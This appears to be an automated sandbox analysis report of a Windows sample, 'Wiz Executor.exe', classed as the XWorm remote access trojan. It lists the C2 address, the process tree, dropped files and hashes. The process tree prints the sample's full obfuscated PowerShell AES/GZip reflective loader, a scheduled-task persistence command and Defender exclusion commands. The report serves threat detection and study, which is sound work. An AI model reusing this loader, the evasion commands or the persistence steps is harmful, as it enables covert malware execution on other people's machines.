Analysis

  • max time kernel
    91s
  • max time network
    93s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-05-2024 16:57

General

  • Target

    Wiz Executor.exe

  • Size

    214KB

  • MD5

    3796bc1f3419e1303eaf1849636fcada

  • SHA1

    6d2125ce2b8adf4339fc3303143e99baf1061e84

  • SHA256

    7ebd9a91b5cb8f85b9f06edb2b10bcc7a3e40c893c931c464d529bfe2944675b

  • SHA512

    64d906b61c027f910facf99a824f8977863e4d8a7642847c25f2bbf0dcc145cb7ccf8e293d618b9c784d2cf1f1e508952ab886077b146a0447329ec185204cf1

  • SSDEEP

    3072:TahKyd2n31q5GWp1icKAArDZz4N9GhbkrNEk16U63TSlmC46ST9KBKFIT:TahOyp0yN90QE1U63TSq6o++0

Malware Config

Extracted

Family

xworm

C2

wiz.bounceme.net:6000

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe
    "C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c "WizClient.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjAZRUpK+m+1Fzaq04iX13Ejv9ASTlb1VEnVRnlqq6g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ws1JDC8EHsQRbg41s9fWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZDnzN=New-Object System.IO.MemoryStream(,$param_var); $rkwec=New-Object System.IO.MemoryStream; $hLElb=New-Object System.IO.Compression.GZipStream($ZDnzN, [IO.Compression.CompressionMode]::Decompress); $hLElb.CopyTo($rkwec); $hLElb.Dispose(); $ZDnzN.Dispose(); $rkwec.Dispose(); $rkwec.ToArray();}function execute_function($param_var,$param2_var){ $GbQvt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LGlXX=$GbQvt.EntryPoint; $LGlXX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat';$QSfdr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat').Split([Environment]::NewLine);foreach ($BucUq in $QSfdr) { if ($BucUq.StartsWith(':: ')) { $xeIpu=$BucUq.Substring(3); break; }}$payloads_var=[string[]]$xeIpu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_260_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_260.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:428
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_260.vbs"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2652
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_260.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4012
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjAZRUpK+m+1Fzaq04iX13Ejv9ASTlb1VEnVRnlqq6g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ws1JDC8EHsQRbg41s9fWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZDnzN=New-Object System.IO.MemoryStream(,$param_var); $rkwec=New-Object System.IO.MemoryStream; $hLElb=New-Object System.IO.Compression.GZipStream($ZDnzN, [IO.Compression.CompressionMode]::Decompress); $hLElb.CopyTo($rkwec); $hLElb.Dispose(); $ZDnzN.Dispose(); $rkwec.Dispose(); $rkwec.ToArray();}function execute_function($param_var,$param2_var){ $GbQvt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LGlXX=$GbQvt.EntryPoint; $LGlXX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_260.bat';$QSfdr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_260.bat').Split([Environment]::NewLine);foreach ($BucUq in $QSfdr) { if ($BucUq.StartsWith(':: ')) { $xeIpu=$BucUq.Substring(3); break; }}$payloads_var=[string[]]$xeIpu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Drops startup file
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3148
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3552
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1388
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\powershell.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:436
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\Users\Admin\AppData\Local\powershell.exe"
                7⤵
                • Creates scheduled task(s)
                PID:2044
  • C:\Users\Admin\AppData\Local\powershell.exe
    C:\Users\Admin\AppData\Local\powershell.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:4712

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8d49a4af7a844bfc7247d5670def557

    SHA1

    26ae0ce194a77a7a1887cf93741293fdfa6c94c4

    SHA256

    61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

    SHA512

    9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d42b6da621e8df5674e26b799c8e2aa

    SHA1

    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

    SHA256

    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

    SHA512

    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    481e5a63ab627f474e7406859a742abc

    SHA1

    adf952634978d42e343896ac546763cc6e7635fa

    SHA256

    ce32fe7b6fec708c52b5293b3ea0de2f0030be59644c9a635882bb7273b664a6

    SHA512

    8d3d8329276e6fac80fbc4d6cf4ca0d05cd336c7a0e85cafe2fd121e783af1c013347909454aab63bd0c51b6f37317958f23608b980d4a5764d23cdc9aa12f95

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    df87d69dfbe30a72be8a41ba7020fdb1

    SHA1

    319245bb2ad6416d3435d2857a746e54408a9822

    SHA256

    964060b36bdbc812fdbc2c4efa24d60551e2f4b54a18384b1a21992246f0901e

    SHA512

    cc7ee4f7042dacaec0d978205d75b06a02af1ebcd0e92af76a25961375e59a771be14af93c25a26585000555b7de603e7658069814b21e418a96e56d7c62e7fd

  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat

    Filesize

    94KB

    MD5

    97079766f20389a59df1f035a68ba2d4

    SHA1

    8c47e97b73f29df96296ad180bb0929ff4b84744

    SHA256

    929ffee096ba93cc899327ece274d77b4ad6d11030a33c317152b642aeb47d66

    SHA512

    0c26063385def3ba153fe918f32b518ac277a53b5d345962dc314e351c5cd9c50d3335d8c7c48d30f90d66851d1aaba311361cd5841b46e2ca662b866c7418a2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alzf1hen.hr0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\powershell.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Roaming\startup_str_260.vbs

    Filesize

    115B

    MD5

    cbf701a47f0bd39ac6bca3dcea01b60e

    SHA1

    d3c1ef4c44c3dffc215868d4e01028deb1dfc2df

    SHA256

    fb12d8c55d1565e36a78bdecfe6ac5ce583d2fc8c675f6cbd4b246903eac82c4

    SHA512

    c612166c4f3f402a691b84de1ef85a04298a77fbe24b2cb8a767646491a6bf8ea822cae31216868a31586f191d210c2447b272aedb5a6750a39080eacfc81f79

  • memory/3148-48-0x000002C49D740000-0x000002C49D754000-memory.dmp

    Filesize

    80KB

  • memory/3148-49-0x000002C4B7C90000-0x000002C4B7CA8000-memory.dmp

    Filesize

    96KB

  • memory/3148-91-0x000002C4B81A0000-0x000002C4B81AE000-memory.dmp

    Filesize

    56KB

  • memory/3940-11-0x0000014664C20000-0x0000014664C42000-memory.dmp

    Filesize

    136KB

  • memory/3940-17-0x0000014664E70000-0x0000014664E84000-memory.dmp

    Filesize

    80KB

  • memory/3940-50-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp

    Filesize

    2.0MB

  • memory/3940-4-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp

    Filesize

    2.0MB

  • memory/3940-5-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp

    Filesize

    2.0MB

  • memory/3940-16-0x0000014664C10000-0x0000014664C18000-memory.dmp

    Filesize

    32KB

  • memory/3940-3-0x00007FFAB3310000-0x00007FFAB3505000-memory.dmp

    Filesize

    2.0MB

  • memory/4712-104-0x000002696E8A0000-0x000002696E8E4000-memory.dmp

    Filesize

    272KB

  • memory/4712-105-0x000002696EB70000-0x000002696EBE6000-memory.dmp

    Filesize

    472KB